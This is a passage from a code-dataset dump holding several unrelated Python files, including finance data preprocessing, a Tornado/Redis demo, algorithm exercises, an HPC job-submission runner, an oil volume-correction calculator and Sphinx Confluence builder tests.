sentiment['neg_count'])/(sentiment['count']-sentiment['neu_count'])\n\n # in some case, there may be no news in a day\n # we fill it with sentiment of previous day\n sentiment = sentiment.reindex(k.set_index('date').index)\n sentiment = sentiment.fillna(method='ffill')\n #print(sentiment.head())\n print('Combine sentiment into option data')\n for name in ['max', 'min', 'day', 'high', 'low']:\n print(name+'_CSS')\n option[name+'_CSS'] = option['date'].apply(lambda x: sentiment.loc[int(x.strftime('%Y%m%d')), name+'_CSS'] ) \n\n print('Save Option Data that combines sentiment')\n option.to_hdf(args.data_path+filename+'.h5', key=filename) \n print(\"Combining sentiment --- %s seconds ---\" % (time.time() - start_time))\n return \n\n\ndef combine_variables(args):\n TYPE = args.cp_flag\n ticker = args.ticker + ('' if args.ticker == '' else '_')\n filename = ticker+'Option_'+ TYPE +'_'+args.exercise_style\n\n if not os.path.exists(args.data_path+filename+'.h5'):\n print(args.data_path+ticker+filename+'.h5 doesn\\'t exist')\n return \n \n start_time = time.time()\n print('Starting reading option information')\n print('Option file : '+args.data_path+filename+'.h5')\n option = pd.read_hdf(args.data_path+filename+'.h5')\n variables = pd.read_hdf(args.data_path+'StockPriceAll.h5')\n #elif args.ticker == 'semiconduct':\n # variables = pd.read_hdf(args.data_path+'stockprice_semiconduct.h5')\n #else:\n # print('Wrong ticker : {}'.format(args.ticker))\n variables = variables[variables['TICKER'] == args.ticker]\n\n variables['Price_adj_backward'] = variables['Price']\n hist = yf.Ticker(args.ticker).history(period=\"max\")\n hist = hist.reset_index()\n hist['date'] = hist['Date'].apply(lambda x: int(x.strftime('%Y%m%d')))\n variables['Price_adj_backward'] = variables['date'].apply(lambda x: hist.set_index('date').loc[x, 'Close'])\n variables = variables.set_index('date')\n variables['log_return'] = variables['Price_adj_backward'] / variables['Price_adj_backward'].shift(1) \n variables['log_return'] = variables['log_return'].apply(np.log)\n variables['log_return_week'] = variables['log_return'].rolling(5).mean()\n variables['log_return_month'] = variables['log_return'].rolling(22).mean()\n\n variables['vol_22'] = variables['log_return'].rolling(22).std()*np.sqrt(22)\n print('Computing log_return, vol_22')\n option['date_int'] = option['date'].apply(lambda x: int(x.strftime('%Y%m%d')) )\n for name in ['log_return', 'log_return_week', 'log_return_month', 'vol_22']: #'vix'\n option[name] = option['date_int'].apply(lambda x: variables.loc[x, name] ) \n\n # get SPX log return \n print('Computing SPX log_return')\n stockprice = get_stock_price(args, SPX=True) \n stockprice['SPX_log_return'] = stockprice['Price'] / stockprice['Price'].shift(1) \n stockprice['SPX_log_return'] = stockprice['SPX_log_return'].apply(np.log)\n # stockprice, date : Timestamp\n for name in ['SPX_log_return']: \n option[name] = option['date'].apply(lambda x: stockprice.loc[x, name] ) \n\n print('Computing vix')\n vix = pd.read_csv(args.data_path+'VIX.csv') \n vix['vix_week'] = vix['vix'].rolling(5).mean()\n vix['vix_month'] = vix['vix'].rolling(22).mean()\n\n vix = vix.set_index('Date')\n for name in ['vix', 'vix_week', 'vix_month']:\n option[name] = option['date_int'].apply(lambda x: vix.loc[x, name])\n option = option.drop(['date_int'], axis=1)\n\n print('Save Option Data that combines variables')\n option.to_hdf(args.data_path+filename+'.h5', key=filename) \n print(\"Combining variables --- %s seconds ---\" % (time.time() - start_time))\n return \n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('--ticker', type=str, default='All')\n\n parser.add_argument('--data_path', type=str, default='../data_semiconduct/')\n parser.add_argument('--option_file_path', type=str, default='Option.csv') \n parser.add_argument('--stock_price_file_path', type=str, default='StockPriceAll.csv') \n\n parser.add_argument('--volume_threshold', type=int, default=0)\n parser.add_argument('--open_interest_threshold', type=int, default=0)\n parser.add_argument('--cp_flag', type=str, default='C') # call : 'C' or put : 'P'\n parser.add_argument('--exercise_style', type=str, default='A') # American\n parser.add_argument('--expiry_indicator', type=str, default='regular') # or 'w' weekly option\n\n parser.add_argument('--mode', type=str, default='all')\n parser.add_argument('--suffix', type=str, default='')\n parser.add_argument('--refresh', action='store_true') # default false\n\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n\n args = parse_args()\n if args.ticker != '':\n args.option_file_path = args.ticker + '_' + args.option_file_path\n\n print('='*9 + 'START' + '='*9)\n print(args)\n if args.mode == 'all': \n if args.ticker == 'All':\n \n print('Starting preprocess option data of all stocks')\n read_option_csv(args, saving=True)\n\n df = pd.read_hdf(args.data_path+'All_Option.h5')\n print('Split All Option Data by Stock')\n for ticker in df['ticker'].unique():\n t = df[df['ticker']==ticker]\n filename = args.data_path+ticker+'_Option.h5'\n if args.refresh or not os.path.exists(filename):\n t.to_hdf(filename, key=ticker)\n print('{} Saved, number of samples : {}'.format(ticker, t.shape[0]))\n else:\n print(filename + ' already exists')\n print('Total {} stocks'.format(len(df['ticker'].unique())))\n \n\n print('Preprocess All Stock Option Data')\n for f in os.listdir(args.data_path):\n idx = f.find(\"_Option.h5\")\n if idx != -1:\n if 'All' in f:\n continue\n print(f)\n args.ticker = f[:idx]\n args.option_file_path = f\n \n preprocess(args)\n combine_variables(args)\n\n print('Concat All Stock Option into One')\n All_Option_A = []\n for f in os.listdir(args.data_path):\n idx = f.find(\"_Option_\"+args.cp_flag+\"_A.h5\")\n if idx != -1:\n if 'All' in f:\n continue\n df = pd.read_hdf(args.data_path+f)\n print(f, df.shape[0])\n All_Option_A.append(df)\n pd.concat(All_Option_A).to_hdf(args.data_path+'All_Option_' +args.cp_flag+'_A.h5', key='all')\n print('All Stock Option Data is Saved')\n \n else:\n preprocess(args)\n combine_variables(args)\n \n elif args.mode == 'read':\n read_option_csv(args, saving=True)\n elif args.mode == 'combine':\n combine_sentiment(args)\n elif args.mode == 'cv':\n combine_variables(args)\n\n\n else:\n print('No such mode')\n\n print('='*10 + 'END' + '='*10)\n \n \n\n\n\n ","sub_path":"option_preprocess_industry.py","file_name":"option_preprocess_industry.py","file_ext":"py","file_size_in_byte":19831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"601030108","text":"\"\"\"\n This library contains the functions that allows the GUI to \n obtain the default and the previous values of the configuration\n\"\"\"\n\n#System Configuration default values\ndef scSetDefultValues():\n defaultValues = {}\n defaultValues[\"std2\"] = \"selected\"\n defaultValues[\"gain\"] = \"selected\"\n defaultValues[\"ledChecked\"] = \"checked\"\n defaultValues[\"agcChecked\"] = \"checked\"\n defaultValues[\"ser2Checked\"] = \"checked\"\n defaultValues[\"stChecked\"] = \"checked\"\n defaultValues[\"tlChecked\"] = \"checked\"\n defaultValues[\"cChecked\"] = \"checked\"\n defaultValues[\"rChecked\"] = \"checked\"\n defaultValues[\"dcChecked\"] = \"checked\"\n defaultValues[\"slfChecked\"] = \"checked\"\n return defaultValues\n\n#System Configuration previous values\ndef scSetPreviousValues(**parameters):\n previousValues={}\n for key,value in parameters.items():\n #========#\n if key == \"selfTrigDelay\":\n if(value==2):\n previousValues[\"std2\"] = \"selected\"\n if(value==4):\n previousValues[\"std4\"] = \"selected\"\n if(value==8):\n previousValues[\"std8\"] = \"selected\"\n if(value==16):\n previousValues[\"std16\"] = \"selected\"\n if(value==32):\n previousValues[\"std32\"] = \"selected\"\n if(value==64):\n previousValues[\"std64\"] = \"selected\"\n if(value==128):\n previousValues[\"std128\"] = \"selected\"\n if(value==256):\n previousValues[\"std256\"] = \"selected\"\n #========#\n if key == \"led\":\n ledChecked = \"\"\n if value:\n ledChecked = \"checked\"\n previousValues[\"ledChecked\"] = ledChecked\n #========#\n if key == \"raw\":\n rawChecked = \"\"\n if value:\n rawChecked = \"checked\"\n previousValues[\"rawChecked\"] = rawChecked\n #========#\n if key == \"agc\":\n agcChecked = \"\"\n if value:\n agcChecked = \"checked\"\n previousValues[\"agcChecked\"] = agcChecked\n if key == \"gain\":\n if(value==8):\n previousValues[\"gain8\"] = \"selected\"\n if(value==21):\n previousValues[\"gain21\"] = \"selected\"\n if(value==43):\n previousValues[\"gain43\"] = \"selected\"\n if(value==56):\n previousValues[\"gain56\"] = \"selected\"\n #========#\n if key == \"ser2\":\n ser2Checked = \"\"\n if value:\n ser2Checked = \"checked\"\n previousValues[\"ser2Checked\"] = ser2Checked\n if key == \"ser1\":\n ser1Checked = \"\"\n if value:\n ser1Checked = \"checked\"\n previousValues[\"ser1Checked\"] = ser1Checked\n if key == \"ext\":\n extChecked = \"\"\n if value:\n extChecked = \"checked\"\n previousValues[\"extChecked\"] = extChecked\n if key == \"st\":\n stChecked = \"\"\n if value:\n stChecked = \"checked\"\n previousValues[\"stChecked\"] = stChecked\n #========#\n if key == \"tl\":\n tlChecked = \"\"\n if value:\n tlChecked = \"checked\"\n previousValues[\"tlChecked\"] = tlChecked\n if key == \"p\":\n pChecked = \"\"\n if value:\n pChecked = \"checked\"\n previousValues[\"pChecked\"] = pChecked\n if key == \"c\":\n cChecked = \"\"\n if value:\n cChecked = \"checked\"\n previousValues[\"cChecked\"] = cChecked\n if key == \"r\":\n rChecked = \"\"\n if value:\n rChecked = \"checked\"\n previousValues[\"rChecked\"] = rChecked\n #========#\n if key == \"dc\":\n dcChecked = \"\"\n if value:\n dcChecked = \"checked\"\n previousValues[\"dcChecked\"] = dcChecked\n if key == \"slf\":\n slfChecked = \"\"\n if value:\n slfChecked = \"checked\"\n previousValues[\"slfChecked\"] = slfChecked\n if key == \"pre\":\n preChecked = \"\"\n if value:\n preChecked = \"checked\"\n previousValues[\"preChecked\"] = preChecked\n #========#\n return previousValues","sub_path":"libraries/guiDefaultValues.py","file_name":"guiDefaultValues.py","file_ext":"py","file_size_in_byte":4375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"240869119","text":"from collections import deque\n\n\ndef main():\n N = int(input())\n cranes = sorted( list(map(int, input().split())), reverse=True)\n\n M = int(input())\n boxes = sorted( list(map(int, input().split())), reverse=True)\n\n\n if cranes[0] < boxes[0]:\n print(-1)\n return\n\n queue = deque(boxes)\n answer = 0\n while True:\n answer += 1\n for c in cranes:\n if queue:\n if c >= queue[0]:\n queue.popleft()\n else: # 더 이상 못해. 다음 사이클에 시도\n break\n else: # 다 옮겼음\n break \n\n if not queue:\n print(answer)\n return\n\nmain()\n\n","sub_path":"bakjoon/배.py","file_name":"배.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"260344427","text":"import os\nimport tornado.web\nimport tornado.ioloop\nimport tornado.httpserver\nimport redis\n\nclass App(tornado.web.Application):\n def __init__(self):\n handlers = [\n (r'/', MainHandler), \n ]\n\n settings = dict(\n template_path = os.path.join(os.path.dirname(\"__file__\"), 'templates')\n )\n\n tornado.web.Application.__init__(self, handlers, **settings)\n\n self.db = redis.StrictRedis()\n\n\nclass BaseHandler(tornado.web.RequestHandler):\n @property\n def db(self):\n return self.application.db\n\n\nclass MainHandler(BaseHandler):\n def get(self):\n name = self.db.get('name')\n self.render('01/index.html', name=name)\n\n def post(self):\n name = self.get_argument('uname')\n self.db.set('name', name)\n self.redirect('/')\n\ndef main():\n http_server = tornado.httpserver.HTTPServer(App())\n http_server.listen(8888)\n tornado.ioloop.IOLoop.instance().start()\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"redis_tornado/f2.py","file_name":"f2.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"492618544","text":"import numpy as np\nfrom automatminer.analytics import Analytics\nfrom matminer.datasets.convenience_loaders import load_expt_gap\nfrom automatminer.featurize import Featurize\nfrom automatminer.preprocess import PreProcess\nfrom matminer import PlotlyFig\nfrom scipy.stats import linregress\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import train_test_split\n\n# inputs\ntarget = 'gap expt'\nRS = 24\nmode = 'regression'\nMULTIINDEX = True\nif MULTIINDEX:\n target = ('Input Data', target)\n\ndf_init = load_expt_gap()\nfeatzer = Featurize(exclude=['CohesiveEnergy', 'AtomicPackingEfficiency'],\n multiindex=MULTIINDEX)\n\ndf = featzer.featurize_formula(df_init,\n featurizers='all',\n guess_oxidstates=False)\n\nprep = PreProcess(target=target)\ndf = prep.preprocess(df)\n\nprint(df.head())\ndf.to_csv('test.csv')\n\nX_train, X_test, y_train, y_test = train_test_split(\n df.drop(target, axis=1), df[target])\n\nmodel = RandomForestRegressor(n_estimators=100,\n bootstrap=False,\n max_features=0.8,\n min_samples_leaf=1,\n min_samples_split=4,\n random_state=RS)\n\n\nmodel.fit(X_train.values, y_train.values)\nprint('test score:')\nprint(model.score(X_test, y_test))\n\nanalysis = Analytics(model, X_train, y_train, X_test, y_test, mode,\n target=target,\n features=df.drop(target, axis=1).columns,\n test_samples_index=X_test.index,\n random_state=RS)\n\nx = list(analysis.get_feature_importance(sort=False).values())\ny = model.feature_importances_\nlr = linregress(x, y)\nxreg = np.linspace(0.0, round(max(x),2), num=2)\nyreg = lr.intercept + xreg * lr.slope\n\nprint('correlation, r={}'.format(lr.rvalue))\nprint('p-value, p={}'.format(lr.pvalue))\n\npf = PlotlyFig(\n title='Comparison of feature importances in predicting expt. gap',\n x_title='Analytics.feature_importance (Variance Sensitivity Analysis)',\n y_title='RandomForestRegressor.feature_importances_')\npf.xy([(x, y), (xreg, yreg)],\n labels=analysis.features,\n modes=['markers', 'line'],\n showlegends=False)","sub_path":"examples/feature_importance_regression.py","file_name":"feature_importance_regression.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"103991516","text":"#!/usr/bin/python\n\"\"\"\nGiven s1, s2, s3, find whether s3 is formed by the interleaving of s1 and s2.\n\nFor example,\nGiven:\ns1 = \"aabcc\",\ns2 = \"dbbca\",\n\nWhen s3 = \"aadbbcbcac\", return true.\nWhen s3 = \"aadbbbaccc\", return false.\n\n#97\n\"\"\"\ndef interleaveString(s1, s2, s3):\n w = len(s1)\n h = len(s2)\n if len(s3) != (w+h): return False\n dp = [x[:] for x in [[False]*(w+1)]*(h+1)]\n dp[0][0] = True\n for j in range(1, w+1):\n if s1[j-1] == s3[j-1] and dp[0][j-1] == True: dp[0][j] = True\n\n for i in range(1, h+1):\n if s2[i-1] == s3[i-1] and dp[i-1][0] == True: dp[i][0] = True\n\n for j in range(1, w+1):\n for i in range(1, h+1):\n if (dp[i-1][j] == True and s2[i-1] == s3[i+j-1]) or \\\n (dp[i][j-1] == True and s1[j-1] == s3[i+j-1]):\n dp[i][j] = True\n\n return dp[-1][-1]\n\ndef interleaveStringLessSpace(s1, s2, s3):\n w = len(s1)\n h = len(s2)\n\n if len(s3) != (w+h): return False\n dp = [False]*(w+1)\n for i in range(h+1):\n for j in range(w+1):\n if j == 0 and i == 0: dp[j] = True\n elif i == 0:\n dp[j] = s1[j-1] == s3[j-1] and dp[j-1]\n elif j == 0:\n dp[j] = s2[i-1] == s3[i-1] and dp[j]\n else:\n dp[j] = (dp[j] and s2[i-1] == s3[i+j-1]) or \\\n (dp[j-1] and s1[j-1] == s3[i+j-1])\n\n return dp[-1]\n\ndef test1():\n s1 = 'aabcc'\n s2 = 'dbbca'\n s3 = 'aadbbcbcac'\n print(interleaveString(s1, s2, s3))\n print(interleaveStringLessSpace(s1, s2, s3))\n print('----------------')\n\ndef test2():\n s1 = 'aabcc'\n s2 = 'dbbca'\n s3 = 'aadbbbaccc'\n print(interleaveString(s1, s2, s3))\n print(interleaveStringLessSpace(s1, s2, s3))\n print('----------------')\n\ndef test3():\n s1 = ''\n s2 = ''\n s3 = ''\n print(interleaveString(s1, s2, s3))\n print(interleaveStringLessSpace(s1, s2, s3))\n print('----------------')\n\nif __name__ == '__main__':\n test1()\n test2()\n test3()\n","sub_path":"dynamicProgramming/interleaveString.py","file_name":"interleaveString.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"365958865","text":"#! python/python-anaconda3.2019.7\r\n\r\nimport argparse\r\nimport time\r\nimport glob\r\nimport os\r\n\r\ndef create_pbs_cmd(cmdfile, alias, jnum, gmem, cmds, queue, load_python=True):\r\n\twith open(cmdfile, 'w') as o:\r\n\t\to.write(\"#!/bin/bash\\n#PBS -S /bin/bash\\n#PBS -j oe\\n#PBS -r y\\n\")\r\n\t\to.write(\"#PBS -q %s\\n\" % queue)\r\n\t\to.write(\"#PBS -v PBS_O_SHELL=bash,PBS_ENVIRONMENT=PBS_BATCH \\n\")\r\n\t\to.write(\"#PBS -N \"+ alias+\"\\n\")\r\n\t\to.write(\"#PBS -o %s\\n\" % \"/\".join(cmdfile.split(\"/\")[:-1]))\r\n\t\to.write(\"#PBS -e %s\\n\" % \"/\".join(cmdfile.split(\"/\")[:-1]))\r\n\t\tif gmem:\r\n\t\t\tmem=gmem*1000\r\n\t\t\to.write(\"#PBS -l mem=\"+str(mem)+\"mb\\n\")\r\n\t\tif jnum:\r\n\t\t\tif jnum != 1:\r\n\t\t\t\to.write(\"#PBS -J 1-\"+str(jnum)+\"\\n\\n\")\r\n\t\to.write(\"id\\n\")\r\n\t\to.write(\"date\\n\")\r\n\t\to.write(\"hostname\\n\")\r\n\t\tif load_python:\r\n\t\t\to.write(\"module load python/anaconda_python-3.6.1\\n\") \r\n\t\to.write(\"\\n\")\r\n\t\to.write(cmds)\r\n\t\to.write(\"\\n\")\r\n\t\to.write(\"date\\n\")\r\n\to.close()\r\n\r\ndef submit(cmdfile):\r\n\tcmd = \"/opt/pbs/bin/qsub \" + cmdfile\r\n\tresult = os.popen(cmd).read()\r\n\tif 'power' in result:\r\n\t\treturn result.split(\".\")[0]\r\n\telse:\r\n\t\tprint(\"cmd file was not submitted\")\t\r\n\r\ndef Sleep (alias, job_id, sleep_max = 1200000, sleep_quantum = 10):\r\n\ti = 0 \r\n\tprocess = os.popen(\"qstat -t \" + job_id + \" | wc -l\").read()\r\n\ttry:\r\n\t\tprocess = int(process)\r\n\texcept:\r\n\t\tprocess = 0\r\n\t\r\n\twhile process > 0 and i <= sleep_max: \r\n\t\ttime.sleep(sleep_quantum)\r\n\t\ti += sleep_quantum\r\n\t\tprint (\"Running...\")\r\n\t\tprocess = os.popen(\"qstat -t \" + job_id + \" | wc -l\").read() #check\r\n\t\ttry:\r\n\t\t\tprocess = int(process)\r\n\t\texcept:\r\n\t\t\tprocess = 0\r\n\t\t\r\n\tif process > 0: \r\n\t\traise Exception(alias + \" stage was not completed. Max sleep time reached\\n\")\r\n\r\ndef FindFilesInDir(dir_path, file_type):\r\n\tfile_path = dir_path + \"/*\" + file_type\r\n\tlist_of_files = sorted(glob.glob(file_path))\r\n\tnum_of_files = len(list_of_files)\r\n\tif num_of_files > 0:\r\n\t\tfor file in list_of_files:\r\n\t\t\tsize = os.path.getsize(file)\r\n\t\t\tif size == 0:\r\n\t\t\t\traise Exception(\"Unexpected error, some of the \" + file_type + \" files in \" + dir_path + \" are empty\\n\")\r\n \r\n\treturn list_of_files\r\n\r\ndef run_multi_projects(pipeline_path, cmds_file, queue):\r\n\talias = \"RunMultiProjects\"\r\n\t\r\n\tnum_of_cmd = int(os.popen(\"awk 'END {print NR}' \" + cmds_file).read())\r\n\tif num_of_cmd == 0:\r\n\t\traise Exception (\"Unexpected error, file \" + cmds_file + \" is empty, or number of lines in file does not divide by 2\\n\")\r\n\telif num_of_cmd == 1:\r\n\t\tNR_value = '1'\r\n\t\tgmem = 2\r\n\telse:\r\n\t\tNR_value = '$PBS_ARRAY_INDEX'\r\n\t\tgmem = 7\r\n\t\r\n\tdir_path = os.path.dirname(cmds_file)\r\n\tcmdfile = dir_path + \"/RunMultiProjects.cmd\"\t\r\n\tcmd1 = 'CMD=$(awk \"NR==' + NR_value + '\" ' + cmds_file + ')\\n'\r\n\tcmd2 = \"python \" + pipeline_path + \" $CMD \"\r\n\tcmds = cmd1 + cmd2\r\n\tcreate_pbs_cmd(cmdfile=cmdfile, alias=alias, jnum=num_of_cmd, gmem=gmem, cmds=cmds, queue=queue, load_python=True)\r\n\tjob_id = submit(cmdfile)\r\n\tprint(job_id)\r\n\tSleep(alias, job_id)\r\n\ttime.sleep(10)\r\n\t\r\ndef main(args):\r\n\t\r\n\t#pipeline_path = args.pipeline_runner\r\n\tpipeline_dir = os.path.dirname(os.path.abspath(__file__).strip())\r\n\tpipeline_path = pipeline_dir + \"/Runner.py\"\r\n\r\n\tif not os.path.isfile(pipeline_path):\r\n\t\traise Exception(\"Unexpected error, \" + pipeline_path + \" does not exist, is not a file or or is not a blast file\\n\")\r\n\t\r\n\tcmds_file = args.cmds_file\r\n\tif not os.path.isfile(cmds_file):\r\n\t\traise Exception(\"Unexpected error, \" + cmds_file + \" cmds file does not exist or is not a file\\n\")\r\n\r\n\tqueue = args.queue\r\n\tif queue != None:\r\n\t\tif queue not in [\"inf\", \"hugemem\", \"pup-interactive\", \"parallel\", \"adis\", \"adis-long\"]:\r\n\t\t\traise Exception(\"Unexpected error, queue has to be either 'inf', 'hugemem', 'pup-interactive', 'parallel', 'adis', 'adis-long'\\n\")\r\n\r\n\trun_multi_projects(pipeline_path, cmds_file, queue)\r\n\t\r\n\tprint(\"END OF RUN MULTI PROJECTS\")\r\n\r\nif __name__ == \"__main__\":\r\n\tparser = argparse.ArgumentParser()\r\n\tparser.add_argument(\"-f\", \"--cmds_file\", type=str, help=\"a path to a file containing a list of cmds to run. Different variables for each cmd are excepted\", required=True)\r\n\tparser.add_argument(\"-qu\", \"--queue\", type=str, help=\"queue to run pipeline, default='adis'\", required=False, default=\"adis\")\r\n\targs = parser.parse_args()\r\n\tmain(args)\r\n","sub_path":"Yaara/pipeline/Multi_Projects_Runner.py","file_name":"Multi_Projects_Runner.py","file_ext":"py","file_size_in_byte":4215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"193511665","text":"# version 3.5.1\n# Takes input as density,temp\nimport logging\nfrom math import trunc\n\nlog = logging.getLogger(__name__)\nlog.info('Loaded calc_vcf')\n\n\ndef calc_vol_to_tons(ml, density, temperature):\n log_l = log.getChild('calc_vol_to_tons')\n log_l.info('Started')\n log_l.info('Calling calc_54b')\n corr_vcf = calc_54b(density, temperature)\n log_l.info('calc_54b returned %s' % corr_vcf)\n sl = round(ml * corr_vcf)\n log_l.debug('sl = ml %s, * vcf %s' % (ml, corr_vcf))\n log_l.info('Calling calc_56')\n corr_wcf = calc_56(density)\n log_l.info('calc_56 returned %s' % corr_wcf)\n mt = (round(sl * corr_wcf)) / 1000\n log_l.debug('mt = sl %s, * wcf %s' % (sl, corr_wcf))\n return [ml, sl, mt]\n\n\ndef calc_54b(density, temperature):\n log_l = log.getChild('calc_54b')\n log_l.info('Started.')\n log_l.debug('Density %s, Temp %s' % (density, temperature))\n density = float(density)\n temperature = float(temperature)\n # Call up Individual stepped calculations.\n # return_original_values()\n f = calc_f(temperature)\n # print f, \" 0:\n return 0\n elif a <= 787.5:\n return -0.00336312 + (2680.3206 / (a * a))\n else:\n return 0\n\n\ndef calc_z2(a, z0, z1):\n if z1 > 0 and z0 > 0:\n return 0\n elif a <= 839:\n return 594.5418 / (a * a)\n else:\n return (186.9696 / (a * a)) + (0.4862 / a)\n\n\ndef calc_z54b(z0, z1, z2):\n return z0 + z1 + z2\n\n\ndef calc_x(f):\n return f - 15\n\n\ndef calc_o(z54b, x):\n return 1 + 0.8 * z54b * x\n\n\ndef calc_l(z54b, x, o):\n return -z54b * x * o\n\n\ndef calc_v(l):\n return 2.718281825 ** l\n\n\ndef calc_y(v):\n return round(float(trunc((v + 0.00005) * 10000)) / 10000, 4)\n\n\nif __name__ == '__main__':\n exit()","sub_path":"calcs/calc_vcf.py","file_name":"calc_vcf.py","file_ext":"py","file_size_in_byte":2981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"237555463","text":"# -*- coding: utf-8 -*-\n\"\"\"\n sphinxcontrib.confluencebuilder.test.test_builder\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n :copyright: Copyright 2016-2017 by the contributors (see AUTHORS file).\n :license: BSD, see LICENSE.txt for details.\n\"\"\"\n\nfrom sphinx.application import Sphinx\nfrom sphinxcontrib.confluencebuilder.builder import ConfluenceBuilder\nfrom sphinxcontrib.confluencebuilder.exceptions import ConfluenceConfigurationError\nfrom sphinxcontrib.confluencebuilder.common import ConfluenceDocMap\nimport difflib\nimport os\nimport sys\nimport unittest\n\ndef create_default_test_config():\n config = {}\n config['extensions'] = ['sphinxcontrib.confluencebuilder']\n config['confluence_parent_page'] = 'Documentation'\n config['confluence_publish'] = False\n config['confluence_space_name'] = 'TEST'\n return config\n\nclass TestConfluenceBuilder(unittest.TestCase):\n @classmethod\n def setUpClass(self):\n basedir = os.path.dirname(os.path.realpath(__file__))\n srcdir = os.path.join(basedir, 'testproj')\n self.expected = os.path.join(srcdir, 'expected')\n builddir = os.path.join(srcdir, 'build')\n self.outdir = os.path.join(builddir, 'out')\n doctreedir = os.path.join(builddir, 'doctree')\n\n self.config = create_default_test_config()\n\n self.app = Sphinx(\n srcdir, None, self.outdir, doctreedir, 'confluence', self.config)\n self.app.build(force_all=True)\n\n def _assertExpectedWithOutput(self, name):\n filename = name + '.conf'\n expected_path = os.path.join(self.expected, filename)\n test_path = os.path.join(self.outdir, filename)\n self.assertTrue(os.path.exists(expected_path))\n self.assertTrue(os.path.exists(test_path))\n\n with open(expected_path, 'r') as expected_file:\n with open(test_path, 'r') as test_file:\n expected_data = expected_file.readlines()\n test_data = test_file.readlines()\n diff = difflib.unified_diff(\n expected_data, test_data, lineterm='')\n diff_data = ''.join(list(diff))\n self.assertTrue(diff_data == '', msg=diff_data)\n\n def test_registry(self):\n if hasattr(self.app, 'extensions'):\n self.assertTrue('sphinxcontrib.confluencebuilder' in\n self.app.extensions.keys())\n else:\n self.assertTrue('sphinxcontrib.confluencebuilder' in\n self.app._extensions.keys())\n\n def test_heading(self):\n test_path = os.path.join(self.outdir, 'heading.conf')\n self.assertTrue(os.path.exists(test_path))\n\n with open(test_path, 'r') as test_file:\n lines = test_file.readlines()\n\n self.assertEqual(lines[0], \"h1. HEADING_TEST\\n\")\n self.assertEqual(lines[1], '\\n')\n self.assertEqual(lines[2], 'h2. SUBHEADER_TEST\\n')\n\n def test_list(self):\n test_path = os.path.join(self.outdir, 'list.conf')\n self.assertTrue(os.path.exists(test_path))\n\n with open(test_path, 'r') as test_file:\n lines = test_file.readlines()\n self.assertEqual(lines[0], 'h1. list test\\n')\n self.assertEqual(lines[1], '\\n')\n self.assertEqual(lines[2], \"* BULLET_1\\n\")\n self.assertEqual(lines[3], '* BULLET_2\\n')\n self.assertEqual(lines[4], '\\n')\n self.assertEqual(lines[5], \"# ENUMERATED_1\\n\")\n self.assertEqual(lines[6], '# ENUMERATED_2\\n')\n\n def test_formatting(self):\n test_path = os.path.join(self.outdir, 'text.conf')\n self.assertTrue(os.path.exists(test_path))\n\n with open(test_path, 'r') as test_file:\n lines = test_file.readlines()\n self.assertEqual(lines[0], 'h1. this is a text test\\n')\n self.assertEqual(lines[2], '_emphasis_\\n')\n self.assertEqual(lines[4], '*strong emphasis*\\n')\n self.assertEqual(lines[6], '[http://website.com/]\\n')\n self.assertEqual(lines[10], '----\\n')\n self.assertEqual(lines[12], 'End of transition test\\n');\n\n def test_admonitions(self):\n test_path = os.path.join(self.outdir, 'admonitions.conf')\n self.assertTrue(os.path.exists(test_path))\n\n with open(test_path, 'r') as test_file:\n lines = test_file.readlines()\n self.assertEqual(lines[0], 'h1. Admonition Test\\n')\n self.assertEqual(lines[2], '{note}attention-message{note}\\n')\n self.assertEqual(lines[4], '{warning}caution-message{warning}\\n')\n self.assertEqual(lines[6], '{warning}danger-message{warning}\\n')\n self.assertEqual(lines[8], '{warning}error-message{warning}\\n')\n self.assertEqual(lines[10], '{tip}hint-message{tip}\\n')\n self.assertEqual(lines[12], '{warning}important-message{warning}\\n')\n self.assertEqual(lines[14], '{info}note-message{info}\\n')\n self.assertEqual(lines[16], '{tip}tip-message{tip}\\n')\n self.assertEqual(lines[18], '{warning}warning-message{warning}\\n')\n\n def test_code(self):\n test_path = os.path.join(self.outdir, 'code.conf')\n self.assertTrue(os.path.exists(test_path))\n\n with open(test_path, 'r') as test_file:\n lines = test_file.readlines()\n self.assertEqual(lines[0], 'h1. Code Test\\n')\n self.assertEqual(lines[2], '{code:linenumbers=false|language=python}\\n')\n self.assertEqual(lines[3], 'import antigravity\\n')\n self.assertEqual(lines[4], 'antigravity.space()\\n')\n self.assertEqual(lines[5], '{code}\\n')\n\n def test_references(self):\n self._assertExpectedWithOutput('ref')\n\n def test_toctree(self):\n test_path = os.path.join(self.outdir, 'toctree.conf')\n self.assertTrue(os.path.exists(test_path))\n\n with open(test_path, 'r') as test_file:\n lines = test_file.readlines()\n self.assertEqual(lines[0], 'h1. TOCTREE\\n')\n self.assertEqual(lines[2], '* [Code Test]\\n')\n self.assertEqual(lines[3], '* [HEADING_TEST]\\n')\n self.assertEqual(lines[4], '** [SUBHEADER_TEST|HEADING_TEST#SUBHEADER_TEST]\\n')\n\n def test_table(self):\n test_path = os.path.join(self.outdir, 'tables.conf')\n self.assertTrue(os.path.exists(test_path))\n\n with open(test_path, 'r') as test_file:\n lines = test_file.readlines()\n self.assertEqual(len(lines), 6)\n self.assertEqual(lines[0], 'h1. Table Test\\n')\n self.assertEqual(lines[2], '||A||B||A or B||\\n')\n self.assertEqual(lines[3], '|False|False|False|\\n')\n self.assertEqual(lines[4], '|True|False|True|\\n')\n\n def test_no_parent(self):\n 